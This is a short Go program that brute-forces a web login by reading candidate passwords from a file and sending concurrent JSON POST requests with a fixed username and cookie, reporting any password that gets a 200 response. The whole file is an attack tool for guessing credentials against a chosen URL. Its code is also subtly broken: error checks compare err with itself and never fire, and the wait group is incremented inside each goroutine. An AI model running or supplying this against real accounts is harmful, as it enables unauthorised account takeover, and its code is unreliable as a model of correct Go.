package main import ( "bufio" "bytes" "encoding/json" "fmt" "net/http" "os" "sync" ) var URL string = "enter URL HERE" var USERNAME string = "generic@example.com" var COOKIEVALUE string = "Enter Cookie Value here" var COOKIENAME string = "Enter Cookie name here" var wg = sync.WaitGroup{} func main() { fmt.Println(URL) file, err := os.Open("passwords.txt") if err != nil { fmt.Println(err) } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { go makeRequest(scanner.Text()) } wg.Wait() } func makeRequest(password string) { wg.Add(1) parameters, err := json.Marshal(map[string]string{ "username": USERNAME, "password": password, }) if err != err { fmt.Println(err) } cookie := &http.Cookie{ Name: COOKIENAME, Value: COOKIEVALUE, MaxAge: 500, } request, err := http.NewRequest("POST", URL, bytes.NewBuffer(parameters)) if err != err { fmt.Println(err) } request.AddCookie(cookie) request.Header.Set("Content-Type", "application/json; charset=UTF-8") client := http.Client{} response, err := client.Do(request) defer response.Body.Close() if response.StatusCode == 200 { fmt.Println("Password is:" + password) } defer wg.Done() }